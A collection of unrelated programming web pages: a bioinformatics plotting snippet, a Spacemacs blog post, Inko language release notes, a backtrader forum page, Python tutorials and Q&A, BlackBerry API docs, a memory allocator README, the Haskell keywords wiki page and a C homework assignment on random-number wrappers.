# Convert to ResultsTable so we can take advantage of its # `scatter` method rt = ResultsTable(data) # Get the up/down regulated up = rt.log2foldchange > 1 dn = rt.log2foldchange < -1 # Go back to the ChIP-seq data and create a boolean array # that is True only for the top TSSes with the strongest # mean signal tss_means = normalized_subtracted.mean(axis=1) strongest_signal = np.zeros(len(tss_means)) == 1 strongest_signal[np.argsort(tss_means)[-25:]] = True rt.scatter( x='fpkm_control', y='fpkm_knockdown', xfunc=np.log1p, yfunc=np.log1p, genes_to_highlight=[ (up, dict(color='#da3b3a', alpha=0.8)), (dn, dict(color='#00748e', alpha=0.8)), (strongest_signal, dict(color='k', s=50, alpha=1)), ], general_kwargs=dict(marker='.', color='0.5', alpha=0.2, s=5), one_to_one=dict(color='r', linestyle=':') );
# Perhaps a better analysis would be to plot average # ChIP-seq signal vs log2foldchange directly. In an imaginary # world where biology is simple, we might expect TSSes with stronger # log2foldchange upon knockdown to have stronger ChIP-seq signal # in the control. # # To take advantage of the `scatter` method of ResultsTable objects, # we simply add the TSS signal means as another variable in the # dataframe. Then we can refer to it by name in `scatter`. # # We'll also use the same colors and genes to highlight from # above. rt.data['tss_means'] = tss_means rt.scatter( x='log2foldchange', y='tss_means', genes_to_highlight=[ (up, dict(color='#da3b3a', alpha=0.8)), (dn, dict(color='#00748e', alpha=0.8)), (strongest_signal, dict(color='k', s=50, alpha=1)), ], general_kwargs=dict(marker='.', color='0.5', alpha=0.2, s=5), yfunc=np.log2);
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I have been using VScode for as long as I started with Javascript. The first editor that I ever wrote code on was Turbo C++ (yes, I started with C++ too). Turbo C++ did not look the best - it was a blue screen with no proper font rendering. However, it was good enough for doing the school assignments and small programs in c++ like a simple calculator program or a program to calculate areas of different polygons. A whole lot changed when I encountered
CodeBlocks, it was the first IDE where I had written c/c++ code with features like auto-completion and having the ability to create projects and compile code without going back to the terminal. Since that time I had always been in love with IDEs & editors.
When I started with Javascript development, I searched for the best IDE which could run at decent hardware without much lag. Most of the good IDE's were either paid or were too slow and didn't appeal to me. VSCode(not considered an IDE) pulled me in with its customizations, extensions, plugins, and various other features. I continued using VSCode throughout my college life and during internships.
By this time I was aware of VIM and had already tried it once, but it looked like some stone age tool that only the finest of the programmers use, guess what? The one time when I started my VIM, I was not able to quit it. However, it always appealed to me, the style of editing, the ability to do so much without ever reaching out to your mouse. I know that this could be done with other code editors too but it is not as efficient as it is with VIM.
There were few major issues however that were hindering my urge to adopt VIM as my editor:-
I did not know/was not very familiar with the usual VIM key bindings.
While I did not even know the editing basics, it would have been difficult to learn and customize all the stuff to one's need and I gauged that it would be quite difficult since VIM was used only by the ELITES.
I also heard about this other mystic tool called EMACS. EMACS was also supposed to be used only by the Grey-Beard Unix folks and I read in one forum that it had a much more steep learning curve.
Years later.... (well not so many.. maybe 1 - 2 years later)
I have found about Spacemacs. Spacemacs is emacs distribution (flavor of emacs sort of) that comes pre-configured with required stuff, yet providing all the abilities to customize emacs powers directly or through the spacemacs config file. The best thing about Spacemacs was, I did not have to think of the difficulty in creating a good dev environment in VIM or the difficult key bindings of emacs. Spacemacs supports both VIM & EMACS style, also has a hybrid mode..
With this setup, I was still in a familiar environment and whenever I felt like I have to do things faster I could just turn off the keybindings and boom I was back in normal VSCode editing with both mouse and keyboard.
This helped me with getting familiar with the basics like how to move between windows, buffers, and how to create new files, how to delete texts multiple on lines, etc.
Watch some youtube videos of spacemacs by Seorenn. These were very helpful in terms of getting up to speed with basic navigation directly on Emacs as well as show me various additional layers that I could install which could make my workflow better and motivate me more to use emacs.
Having done that, I started putting a more hands-on approach. As soon as I was comfortable with the bindings using the VSpacecode extension, I switched fully to
Spacemacs for work-related projects too, and since I code daily at work, I just got better at the general modal based editing, navigating in Spacemacs, etc.
Below I have listed down a few key bindings that will help you get started quickly editing and navigating on Spacemacs and will help you not feel overwhelmed:
- Learn the basic VIM modal style editing commands like
dfor delete,
xfor cut,
pfor
paste,
yfor yank, and
h j k lfor navigating.
/- brings up search inside the same file, after typing
/enter the
search text.
n
N- next search and previous search respectively
spc /- Search text in files
spc p f- Search file inside the project - projects are automatically recognized if they are git directories and show up later in your recent projects
spc p l- Switch project
spc p- brings up mini buffer showing all possible project-related commands
spc b- brings up all the buffer related commands
spc b p- previous buffer - similarly
spc b nfor next buffer
spc p t- opening neotree for the birds-eye view
spc f T- show file in NeoTree, helps in understanding where actually the file resides
spc j l- jump to line
spc j w- jump to a word
- To search text only in certain types of files in a project, use
--filetype. For eg, to search for the text
importbut only in JS files bring up search project using
spc /and then search for
import --js.
spc q qquit spacemacs.
So this blog post was my short journey on how I came to actually use Emacs + VIM for writing code on a day to day basis. Something which I would have never imagined doing considering the difficult reputation of VIM and Emacs in the community. I think while these things are difficult and perhaps even a lifetime is short to master them, the entry has been made pretty easy with tools like
Spacemacs, and with enough motivation, you will shortly start doing a lot of things the
EVIL way.
PS: The above commands are only for VIM mode or Hybrid mode.
Also, By the time I wrote this post, I actually stopped using
Spacemacs and instead moved to doom-emacs which is a lighter distribution but contains pre-configured with most of the necessary things and is in active development as of now. The keybindings are very
spacemacy, so the transition was swift. Also, load times are fast af.
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Inko 0.3.0 released
Inko 0.3.0 has been released.
Noteworthy changes in 0.3.0
- Foreign Function Interface
- Process Pinning
- Seconds are now the base unit for timeouts
- More specific platform names
- VM instruction changes
- musl executables are no longer provided
The full list of changes can be found in the CHANGELOG.
In the 0.2.4 release post we announced that for 0.3.0 we would be working towards supporting network operations, such as opening TCP sockets. Due to it still not being entirely clear how we will implement this, we decided to postpone this until at least 0.4.0.
Foreign Function Interface
Support for interfacing with C code is now possible using Inko's new Foreign
Function Interface (FFI). The FFI is available using the module
std:ffi. For
example, we can use
floor() from the C standard library as follows:
import std::ffi::Library import std::ffi::types import std::stdio::stdout # Library.new is used to open a C library, using one or more names or paths to # find the library. let libm = Library.new(['libm.so.6']) # Using `libm.function` here we attach the `floor()` function. The type `f64` # translates to the C `double` type. let floor = libm.function('floor', [types.f64], types.f64) # Sending `call` to `floor` will execute the function. Since the return type is # `Dynamic`, we have to cast it to `Float` ourselves. let number = floor.call(1.1234) as Float stdout.print(number)
We can also use C structures. For example, here is how we would use
gettimeofday() in Inko:
import std::ffi::(self, Library, Pointer) import std::ffi::types import std::stdio::stdout let libc = Library.new(['libc.so.6']) # int gettimeofday(void*, void*) let gettimeofday = libc .function('gettimeofday', [types.pointer, types.pointer], types.i32) # void* malloc(size_t) let malloc = libc.function('malloc', [types.size_t], types.pointer) # free(void*) let free = libc.function('free', [types.pointer], types.void) # This defines a structure similar to the following C code: # # struct timeval { # time_t tv_sec; # suseconds_t tv_usec; # } # # The exact type used (i64, i32, etc) may differ per platform. let timeval = ffi.struct do (struct) { struct['tv_sec'] = types.i64 struct['tv_usec'] = types.i64 } # Since `malloc.call` returns a `Dynamic`, we need to cast it to a `Pointer` # ourselves. let time_pointer = malloc.call(timeval.size) as Pointer gettimeofday.call(time_pointer, Pointer.null) # This will wrap the pointer in an instance of our `timeval` structure defined # earlier. let time_struct = timeval.from_pointer(time_pointer) # We can read the values of a structure by sending `[]` to it. To write a value # we would use `[]=`. stdout.print(time_struct['tv_sec'] as Integer) # Now that we're done we can release the memory of the structure. free.call(time_pointer)
The Foreign Function Interface does come with some limitations. Most notably:
- Variadic functions (such as
printf()) are not supported at the moment.
- Using Inko blocks as callbacks for C functions is not supported. This means that currently it's not possible to use C libraries that make use of callbacks, such as libuv.
Variadic functions will almost certainly be supported in the future, but right now they are not a big priority. C callbacks are unlikely to be supported any time soon due to the complexity involved. For example, Inko processes can be suspended at various points in time for a variety of reasons. This means we need to somehow deal with this when this happens when calling back into Inko from C. Since we do not yet have solutions for these problems, we decided not to support calling back into Inko from C at this time.
For more information, refer to the source code of std::ffi.
Process Pinning
Certain C functions use thread-local storage. For example, GUI libraries typically require that all operations are performed on the same thread that initialised the GUI. To support this, Inko now allows pinning of processes to OS threads. Pinning a process will result in two things happening:
- The process will always run on the same OS thread.
- The OS thread will only run the process that was pinned.
To pin a process, use
std::process.pinned:
import std::process process.pinned { # All code in this block will be pinned to the current OS thread. }
Because the OS thread will only run the pinned process, pinning processes should only be used when absolutely necessary. For example, say you have 8 threads, 8 pinned processes, and 2 unpinned processes. If the pinned processes are pinned before the unpinned processes start, the unpinned processes will never run as there are no threads available for them to run on.
Seconds are now the base unit for timeouts
The
std::process module provided various methods that support timeouts. For
example,
std::process.receive allows you to specify the number of seconds
after which this method should return:
import std::process process.receive(100) # Wait for at most 100 milliseconds.
Starting with 0.3.0, the base unit used is now seconds instead of milliseconds. This means that the above code on 0.3.0 will result in the process being suspended for at most 100 seconds, instead of 100 milliseconds. To suspend for at most 100 milliseconds in 0.3.0, we need to write the following:
import std::process process.receive(0.1) # Wait for at most 0.1 seconds, or 100 milliseconds.
This change applies to the following methods:
std::process.receive_if
std::process.receive
std::process.suspend
std::process::Receiver.receive
More specific platform names
The method
std::os.platform now returns more specific platform names. Prior to
0.3.0, it would return one of the following values:
- other
- unix
- windows
As of 0.3.0, the following values can be returned:
- android
- bitrig
- dragonfly
- freebsd
- ios
- linux
- macos
- netbsd
- openbsd
- unix
- unknown
- windows
VM instruction changes
A variety of virtual machine instructions have been changed or merged together.
For example, the various instructions for obtaining object prototypes
(
GetIntegerPrototype,
GetFloatPrototype, etc) were merged together into the
GetPrototype instruction. Other instructions, such as
ProcessSpawn and
ProcessSuspendCurrent take different types of values as their arguments.
musl executables are no longer provided
Up until 0.3.0, Inko provided executables of the VM that used
musl. These executables were more portable, as
they did not dynamically link to the system's C standard library (e.g. GNU
libc). Unfortunately, musl does not support
dlopen(), which is required to
support Inko's FFI. This meant we had one of two options:
- Continue providing musl executables, but without support for Inko's FFI.
- Stop providing musl executables altogether.
Option one would most likely result in a lot of confusion, especially since ienv preferred to install musl executables over regular ones. It also didn't quite feel right to provide a build of Inko that doesn't support all of its features. Because of this, we decided to stop providing musl executables. This means that from 0.3.0 on, all executables will dynamically link to the system's C standard library, and ienv will no longer prefer to install musl executables over regular ones.
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https://inko-lang.org/news/inko-0-3-0-released/
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refinedweb
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@backtrader thanks so much for the tip!
Rstrong
@Rstrong
Posts made by Rstrong
- RE: Calling Trade.pnl within next()
- Calling Trade.pnl within next()
Hello,
I have a very beginner question here that I am trying to figure out.
I am trying to get a unrealized PnL per position each time next() goes through another line in its data feed. Can someone point out how I would call trade.pnl within next()?
Thanks in advance
- RE: Reducing run time
I am revising this topic because I still havnt been able to find a solution and realized I might have asked the question incorrectly.
Yes I agree that two different samples of tick data could have varying run times because of the length of the data, what what I am saying is that when I take the same group of three tick data samples, the length of time to run them all together is significantly longer than the sum of time to run them all individually.
An example for further clarity is below.
Take the following three stocks with their respective run/processing times.
Stock A: 5 seconds
Stock B: 7 seconds
Stock C: 9 seconds
If we add the amount of time it takes to run them all individually it takes 21 seconds.
However when I have them as part of a list and run them all within the same script, it takes over a minute.
This is what I am trying to figure out and trouble shoot. Iv also tried feeding them all to backtrader by resetting cerebro each time a new data set is processed, but its still running very slow.
- Buying the open of the first candle
Hello,
I am running filtered data through a backtrader script in which I am buying the open of the first candle of every data set I put it through.
Is there a way to have backtrader do this without using cheat on open? If I use it then I have problems when trying to simulate exiting the position.
- RE: Reducing run time
@backtrader could you provide a bit more color on what you mean?
In this script I filter the data to only put 10 minutes worth of data into backtrader for each data feed.
How else would I filter the data?
- RE: Reducing run time
@backtrader i meant to put this in the help section. Can you give me authorization to delete it so i can repost it there?
- Reducing run time
Hello,
So I am running a very simple script that i am using to simply plot the tick data I have.
When I run one stock through it individually it takes 5 seconds. However when I have a list of two stocks run through it, it takes ~75 seconds.
The lists containing the stock names are in CSV form with the date in one column and the ticker name in the other.
Does anyone have an idea of why this might be happening?
I have the script below.
import datetime from datetime import timedelta from datetime import date import os.path import sys from pathlib import Path import pandas as pd import backtrader.feeds as btfeeds import pandas_datareader.data as web import backtrader as bt import backtrader.indicators as btind import backtrader.analyzers as btanalyzers import re import time import matplotlib import backtrader.utils.flushfile import subprocess import sys """ Charter """ class Inputs: path = 'C:\Python27\.vscode\Excel Files\Stock_lists\Names_dates_small.csv' Stocklist = [] data_columns = ['Date', "Ticker"] with open(path) as csvfile: data = pd.read_csv(csvfile, names = data_columns) for index,row in data.iterrows(): Stocklist.append([row['Ticker'],row['Date']]) params = { 'starting_cash' : 100000, 'Bar_compression' : 1, 'Bar_type' : bt.TimeFrame.Seconds, } class BuyySell(bt.observers.BuySell): plotlines = dict( buy=dict(markersize=6.0), sell=dict(markersize=6.0),) params = ( ("barplot",True), ("bardist" ,0.0003)) class Algo(bt.Strategy): def next(self): # trade variables for i, d in enumerate(self.datas): if (len(self.datas[i])>0): Open = self.datas[i].open High = self.datas[i].high Low = self.datas[i].low Close = self.datas[i].close Volume = self.datas[i].volume Symbol = self.datas[i]._name Time = self.datas[i].datetime.time Date = self.datas[i].datetime.datetime position = self.broker.getposition(data = d) class run: def runstrat(self): #Algo Cerebro start, add strat, slippage, multiobserver cerebro = bt.Cerebro() cerebro.addstrategy(Algo) cerebro.addobservermulti(BuyySell) for i in Inputs.Stocklist: ticker = i[0] day = datetime.datetime.strptime(i[1],"%m/%d/%Y") date = day.strftime("%Y%m%d") dayy = day.strftime("%Y-%m-%d") path = ("Q:/data/equity_prints_quotes/csv/%s/%s_trades.csv" %(date,ticker)) # path tab here mypath = Path(path) if mypath.exists(): data_columns = ["day", "time" , "ticker", "price", "volume"] with open(path) as csvfile: data = pd.read_csv(csvfile, names = data_columns) data= pd.DataFrame(data) data['Open']= data['price'] data['High']= data['price'] data['Low']= data['price'] data['Close']= data['price'] data['date']= data[["day","time"]].apply(lambda x : '{} {}'.format(x[0],x[1]), axis=1) data['time'] = pd.to_datetime(data['time']) data= data.set_index('time') end_time = data.index[0] + timedelta(minutes = 10) data = (data.loc[:(end_time)]) data['date'] = pd.to_datetime(data['date']) data['date']= data['date'].astype('datetime64[ns]') data= data.set_index('date') data = data[["Open", "High", "Low", "Close", "volume",]] data2 = btfeeds.PandasData(dataname = data, timeframe=bt.TimeFrame.Ticks,) # cerebro.adddata(data2, name = ticker) cerebro.resampledata(data2, name= ('{}, {}'.format(ticker,dayy)), timeframe =Inputs.params['Bar_type'], compression = Inputs.params['Bar_compression']) #Cerebro: PnL, calc, Inputs, Broker, Sizer, Plot cerebro.broker.setcash(Inputs.params['starting_cash']) cerebro.addsizer(bt.sizers.FixedSize, stake=300) cerebro.broker.setcommission(commission=0.0001) cerebro.run() cerebro.plot(style = 'Tick', bardown = 'black',fmt_x_data = ('%H:%M:%S'),volume = True) if __name__ == '__main__': strat = run() strat.runstrat()
- RE: Indicators for datas with less periods than the indicator requires.
- RE: Indicators for datas with less periods than the indicator requires
.
- Indicators.
|
https://community.backtrader.com/user/rstrong
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refinedweb
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How to make a file read only using Python
In this article, we will discuss how to modify the permissions of a file and make a file read-only using Python. You may need this for automating daily activities using Python scripts.
Make a file read-only using Python
Making the file read-only will not allow the file to be rewritten again. For this, we need to modify the permissions of the file. To achieve this, we will make use of the os module in Python more specifically, the chmod() of the os module.
The coding part is extremely simple and will contain very few lines as we are not doing much but changing the permissions. Using the chmod(), we can change the mode of the path, setting it to any mode using the suitable flags from the stat module. Both these modules come inbuilt with Python and hence you need not install anything additionally.
The entire code to change the file to read-only is as follows
import os from stat import S_IREAD # Replace the first parameter with your file name os.chmod("sample.txt", S_IREAD)
You can verify if the code was executed correctly by checking the file’s permissions. To do that :
- Right-click on the file and click properties.
- Under the attributes section, you will find the read-only checkbox checked.
I hope you found this article useful and it helped you make a file read-only. You can do more than just making the file read-only by using the appropriate flag from the stat module. You can find the appropriate flag for your use from the documentation.
Read also:
|
https://www.codespeedy.com/how-to-make-a-file-read-only-using-python/
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How can I divide two numbers in Python 2.7 and get the result with decimals?
I don't get it why there is difference:
in Python 3:
>>> 20/15
1.3333333333333333
>>> 20/15
1
In python 2.7, the
/ operator is integer division if inputs are integers.
If you want float division (which is something I always prefer), just use this special import:
from __future__ import division
See it here:
>>> 3 / 2 1 >>> from __future__ import division >>> 3 / 2 1.5 >>>
Integer division is achieved by using
//, and modulo by using
%
>>> 3 % 2 1 >>> 3 // 1 3 >>>
EDIT
As commented by
user2357112, this import has to be done before any other normal import.
|
https://codedump.io/share/nMGsv1hr5s1w/1/division-in-python-27-and-33
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PpsAttributeFlag
Since: BlackBerry 10.0.0
#include <bb/PpsAttributeFlag>
To link against this class, add the following line to your .pro file: LIBS += -lbb
Additional state information about a PPS attribute.
Overview
Public Types Index
Public Types
Additional state information about a PPS attribute.
BlackBerry 10.0.0
- Incomplete 0x01
The object or attribute line is incomplete.
- Deleted 0x02
The object or attribute has been deleted.Since:
BlackBerry 10.0.0
- Created 0x04
The object has been created.Since:
BlackBerry 10.0.0
- Truncated 0x08
The object or attribute has been truncated.Since:
BlackBerry 10.0.0
- Purged 0x10
A critical publisher has closed its connection and all non-persistent attributes have been deleted.Since:
BlackBerry 10.0.0
Got questions about leaving a comment? Get answers from our Disqus FAQ.comments powered by Disqus
|
https://developer.blackberry.com/native/reference/cascades/bb__ppsattributeflag.html
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MapAlloc is a memory mapping based allocator with an API compatible with
silently exploited).
MapAlloc also maintains metadata independently from the heap, so it eliminates an entire class of vulnerabilities which rely on easy access to this metadata.
Just run
make. This will give you
libmapalloc.a, which you can statically
link into your own programs, as well as
libwrapalloc.so, which can be used
with
LD_PRELOAD to override your standard C library's dynamic memory
functions.
In your source file:
#include "mapalloc.h"
This will give you:
void *MA_malloc(size_t n); void *MA_calloc(size_t nelem, size_t elsize); void *MA_realloc(void *ptr, size_t n); void MA_free(void *ptr);
Or, you can ask for macros to provide the same interfaces as
<stdlib.h>
(note that if you need to also include
<stdlib.h>, you should include it
before
"mapalloc.h"):
#define MA_OVERRIDE_STDLIB #include "mapalloc.h"
This will give you access to the same set of functions as above, but also provide macros:
#define malloc(n) MA_malloc(n) #define calloc(n, e) MA_calloc(n, e) #define realloc(p, n) MA_realloc(p, n) #define free(p) MA_free(p)
Link your program with
-lmapalloc (you may also need to specify
-L with the path to where
libmapalloc.a is if you don't copy it to part
of your linker's default search path).
The dynamic library
libwrapalloc.so is also built by default. This can
be used to wrap the standard libc functions
malloc(),
calloc(),
realloc(),
and
free() to their MapAlloc equivalents if your dynamic linker supports
this. For example, on Linux systems with the GNU linker:
LD_PRELOAD=libwrapalloc.so command args...
|
https://git.sr.ht/~jkaivo/mapalloc/tree/c4b21f6aeb45e5a0e3f8052117cae846ebbdae5e/item/README.md
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Keywords
From HaskellWiki
Revision as of 11:26, 9 December 2012
This page lists all Haskell keywords, feel free to edit. Hoogle searches will return results from this page. Please respect the Anchor macros.
For additional information you might want to look at the Haskell 98 report.
1 !
2 '
- Character literal:'a'
- Template Haskell: Name of a (value) variable or data constructor:,'length'Left
3 ''
- Template Haskell: Name of a type constructor or class:,''Int,''Either''Show
4 -
This operator token is magic/irregular in the sense that
(- 1)
is parsed as the negative integer -1, rather than as an operator section, as it would be for any other operator:
(* 1) :: Num a => a -> a
(++ "foo") :: String -> String
5 --Starts a single-line comment, unless immediately followed by an operator character other than
main = print "hello world" -- this is a comment --this is a comment as well ---this too foobar --+ this_is_the_second_argument_of_the_dash_dash_plus_operator
6 -<
7 -<< ...
9 ::
Read as "has type":
length :: [a] -> Int
"Length has type list-of-'a' to Int"
Or "has kind" (GHC specific):
Either :: * -> * -> *
10 ;
11 <-
- In do-notation, "draw from":
do x <- getChar putChar x
- In list comprehension generators, "is drawn from":
[ (x,y) | x <- [1..10], y <- ['a'..'z'] ]
- In pattern guards, "matches":
f x y | Just z <- g x = True | otherwise = False
12 =
Used in definitions.
x = 4
13 =>
Used to indicate instance contexts, for example:
sort :: Ord a => [a] -> [a]
14 >
In a Bird's style Literate Haskell file, the > character is used to introduce a code line.
comment line > main = print "hello world"
15 ?
ghci> :t ?foo ++ "bar" ?foo ++ "bar" :: (?foo::[Char]) => [Char]
ghci> :kind (->) (->) :: ?? -> ? -> *
16 ??
- Is an ordinary operator name on the value level and on the type level
ghci> :kind (->) (->) :: ?? -> ? -> *
17 #
ghci> :m +GHC.Prim ghci> :set -XMagicHash ghci> :kind Int# Int# :: #
18 (#)
ghci> :set -XMagicHash -XUnboxedTuples ghci> ghci> :k (# Char,Int #) (# Char,Int #) :: (#)
19 *
- Is an ordinary operator name on the value level
ghci> :kind Int Int :: *
20 @ }
21 [|, |]
- Template Haskell
- Expression quotation:[| print 1 |]
- Declaration quotation:[d| main = print 1 |]
- Type quotation:[t| Either Int () |]
- Pattern quotation:[p| (x,y) |]
- Quasiquotation:[nameOfQuasiQuoter| ... |]
22 \
The backslash "\" is used
- in multiline strings
"foo\ \bar"
- in lambda functions
\x -> x + 1
23 _ }
24 `
A function enclosed in back ticks "`" can be used as an infix operator.
2 `subtract` 10
is the same as
subtract 2 10
25 {, }
- Record update notation
changePrice :: Thing -> Price -> Thing changePrice x new = x { price = new }
26 {-, -}
Everything between "{-" followed by a space and "-}" is a block comment.
{- hello world -}
27 |
The "pipe" is used in several places
- Data type definitions, "or"
data Maybe a = Just a | Nothing
- List comprehensions, "where"
squares = [a*a | a <- [1..]]
- Guards, "when"
safeTail x | null x = [] | otherwise = tail x
- Functional dependencies, "where"
class Contains c elt | c -> elt where ...
28 ~
- Lazy pattern bindings. Matching the pattern ~pat against a value always
suceeds,.
29 asRenaming module imports. Like
import qualified Data.Map as M main = print (M.empty :: M.Map Int ())
30 _|_.
31 class
A class declaration introduces a new type class and the overloaded operations that must be supported by any type that is an instance of that class.
class Num a where (+) :: a -> a -> a negate :: a -> a
32.
33 data family
Declares a datatype family (see type families). GHC language extension.
34 data instance
Declares a datatype family instance (see type families). GHC language extension.
35)
36)
In the case of newtypes, GHC extends this mechanism to Cunning Newtype Deriving.
37 deriving instance
Standalone deriving (GHC language extension).
{-# LANGUAGE StandaloneDeriving #-} data A = A deriving instance Show A
38 do
Syntactic sugar for use with monadic expressions. For example:
do { x ; result <- y ; foo result }
is shorthand for:
x >> y >>= \result -> foo result
39]
40 foreignA keyword for the Foreign Function Interface (commonly called the FFI) that introduces either a
41)
42
43
44 = ...
45 instance
An instance declaration declares that a type is an instance of a class and includes the definitions of the overloaded operations - called class methods - instantiated on the named type.
instance Num Int where x + y = addInt x y negate x = negateInt x
46
47 mdoThe recursive
48 module
Taken from: A Gentle Introduction to Haskell, Version 98
49.
50 proc
proc (arrow abstraction) is a kind of lambda, except that it constructs an arrow instead of a function.
51
52 rec
The rec keyword can be used when the
-XDoRec flag is given; it allows recursive bindings in a do-block.
{-# LANGUAGE DoRec #-} justOnes = do { rec { xs <- Just (1:xs) } ; return (map negate xs) }
53
54 type family
Declares a type synonym family (see type families). GHC language extension.
55 type instance
Declares a type synonym family instance (see type families). GHC language extension.
56 where
Used to introduce a module, instance, class or GADT:
module Main where class Num a where ... instance Num Int where ... data Something a where ...
And to bind local variables:
f x = y where y = x * 2 g z | z > 2 = y where y = x * 2
|
http://www.haskell.org/haskellwiki/index.php?title=Keywords&diff=54878&oldid=33673
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Homework 9: Customized Random Functions
Due: Tuesday 4/10 by 11:59pm
Objectives
More practice implementing functions, plus practice working with global variables and separate compilation.
Background
The standard C library provides a function random() that returns a pseudo-random integer. This function is somewhat difficult to use because we often prefer to have a random number within a certain range of values. For example, to obtain a random value between 1 and 10 (inclusive) we have to use something like:
n = random() % 10 + 1 ;
Similarly, to obtain a value between 15 and 25 inclusive, we have use:
n = random() % 11 + 15 ;
Notice that in this second case, we need to mod out by 11 (not by 10) because there are 11 values between 15 and 25. The expression random() % 11 gives us a value between 0 and 10. When we add this to 15, we get a random value between 15 and 25.
Before we can use random() we have to "set" the random seed. (Otherwise, we would get the same sequence of "random" numbers each time.) A typical way of doing this is to use the clock and make a call to srandom() at the beginning of a program:
srandom(time(0)) ;
The time() function returns the number of seconds since 00:00:00 UTC, January 1, 1970. So, each run of the program (started more than 1 second apart) will set then random seed to a different value.
Here is an example program that uses the random functions from the standard C library to print out 100 numbers between 15 and 25: hw09.c. Notice in the sample run that we get a different sequence of random numbers in the 3 runs. Try commenting out the call to srandom(). Then you get the same numbers every time you run the program.
Assignment
Your assignment is to provide two random functions mysrandom() and myrandom() that are easier to use than the ones provided by the C library. A programmer using your functions will call your functions and your functions will in turn call srandom() and random() from the standard library. Such functions are commonly called "wrappers".
For example, we have here a main program that uses mysrandom() and myrandom():
1 /* File: hw09main.c 2 3 Main program for Homework 9. 4 Do not change this file. 5 6 */ 7 8 #include <stdio.h> 9 10 // include student's header file: 11 12 #include "myrandom.h" 13 14 int main() { 15 int i ; 16 17 // initialize random number generator and 18 // set range from 1 to 10. 19 20 mysrandom(1, 10) ; 21 22 printf("Random number #1 = %d\n", myrandom() ) ; 23 printf("Random number #2 = %d\n", myrandom() ) ; 24 printf("Random number #3 = %d\n", myrandom() ) ; 25 26 // set range from 10 to 20. 27 mysrandom(10, 20) ; 28 29 printf("\n") ; 30 printf("One hundred random numbers between 10 and 20 (inclusive):\n") ; 31 for (i = 1 ; i <= 100 ; i++) { 32 printf("%5d", myrandom() ) ; 33 34 if (i % 10 == 0) printf("\n") ; 35 } 36 37 // set range from 37 to 53. 38 mysrandom(37, 53) ; 39 40 printf("\n") ; 41 printf("Two hundred random numbers between 37 and 53 (inclusive):\n") ; 42 for (i = 1 ; i <= 200 ; i++) { 43 printf("%5d", myrandom() ) ; 44 45 if (i % 10 == 0) printf("\n") ; 46 } 47 48 49 return 0 ; 50 } 51
(You can download the main program without line numbers here: hw09main.c.) Notice that mysrandom() takes two parameters. For example in line 20, mysrandom(1,10) is intended to say that future calls to myrandom() should return a random value between 1 and 10. Lines 27 and 38 have additional calls to mysrandom().
The intended output of this program is:
PT[52]% ./a.out Random number #1 = 9 Random number #2 = 8 Random number #3 = 5 One hundred random numbers between 10 and 20 (inclusive): 18 14 15 20 18 20 16 10 16 16 20 11 13 13 10 16 15 11 13 20 19 17 16 17 12 20 12 16 19 17 16 14 19 11 11 16 19 18 14 12 13 13 11 16 15 11 20 20 13 12 19 20 17 15 16 20 12 17 13 10 11 20 13 20 19 14 13 15 11 17 15 12 19 17 17 13 16 16 12 17 17 11 14 11 14 19 10 16 15 12 14 16 20 15 13 16 20 16 19 19 Two hundred random numbers between 37 and 53 (inclusive): 45 47 51 46 51 40 44 46 46 52 49 52 46 48 47 52 50 51 38 42 50 49 39 41 45 37 49 38 39 48 50 38 49 48 38 46 42 46 46 42 44 41 48 53 44 41 42 40 39 43 45 43 46 48 47 38 39 51 47 41 53 44 51 48 46 52 48 42 44 40 38 42 53 50 50 43 45 38 46 38 53 38 52 53 40 37 37 42 51 39 37 50 37 42 52 37 41 46 50 39 49 51 45 48 38 41 37 47 50 38 39 49 47 38 49 50 38 40 46 43 50 37 39 50 43 45 50 38 37 46 40 49 52 48 52 53 52 43 37 49 44 40 52 37 41 38 41 50 50 41 39 46 42 49 43 39 40 47 40 40 48 43 43 46 46 41 45 52 39 46 38 46 49 45 47 44 46 42 40 50 47 42 51 52 37 48 45 48 41 48 51 52 45 48 44 45 44 44 44 46 PT[53]%
Your assignment has two parts.
- You must create a header file called myrandom.h that has the function prototypes for mysrandom() and myrandom(). These prototypes must be compatible with the main program in hw09main.c.
- You must implement the functions mysrandom() and myrandom(). These functions must provide the features described above and work with the main program without alteration. These implementations go in a separate file called myrandom.c.
Notes
- Don't panic. There's a lot of verbiage for this homework description, but you don't actually have to write a lot of code (much less than usual actually).
- Read all of these notes. They are long, but they tell you what you need to do.
- Make sure you understand how the regular srandom() and random() functions work. Read the Background information above and play with the example program: hw09ex.c.
- Make sure you understand header files and separate compilation. You may need to review Classwork 12 and the textbook.
- Each call to myrandom() has to know what the programmer wants for the range of random numbers. This must be stored in two global variables. When mysrandom() is called, the low end and high end of the range are stored in these global variables. When myrandom() is called, the values of the low end and high end are retrieved from the global variables. Global variables are declared just like local variables, except the declaration goes outside all functions, usually just below where you have the #include directives.
- If you are having trouble with global variables, take a look at global.c.
- You do not have to #include "myrandom.h" in myrandom.c but it is a good way to make sure that your functions in myrandom.c are compatible with the function prototypes in myrandom.h.
- Yes, you have to figure out the function prototypes for mysrandom() and myrandom(). You should look at the main program to see what the prototypes should be. There is enough information in the way these functions are used in main() for you to figure this out. This is part of your assignment.
- Yes, you can call the standard random() function from myrandom(). (This makes the assignment easier). You need to have
#include <stdlib.h>
in your myrandom.c file.
- When you implement myrandom(), look carefully at the example above that produces a random number between 15 and 25. You need to be able to do something similar but for any value for the low end and high end.
- Your implementation of mysrandom() should call the standard srandom() to set the random seed. (Otherwise, you get the same sequence of "random" numbers every time — that's not very random.) You should call srandom() with the time() function as described previously:
srandom(time(0)) ;
In order to use time(), you have to
#include <time.h>
Submitting
Use the script command to record yourself compiling the main program and your implementation of mysrandom() and myrandom() separately:
gcc -c -Wall hw09main.c gcc -c -Wall myrandom.c gcc hw09main.o myrandom.o
Submit your C program, header file and the typescript file as usual:
submit cs104_chang hw09 myrandom.h myrandom.c typescript
You should not submit the main program because your functions should work with the main program unaltered and must compile with the original version.
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The UCollationElements API is used as an iterator to walk through each character of an international string. Use the iterator to return the ordering priority of the positioned character. The ordering priority of a character, which we refer to as a key, defines how a character is collated in the given collation object. For example, consider the following in Spanish:
. "ca" -> the first key is key('c') and second key is key('a'). . "cha" -> the first key is key('ch') and second key is key('a').And in German,
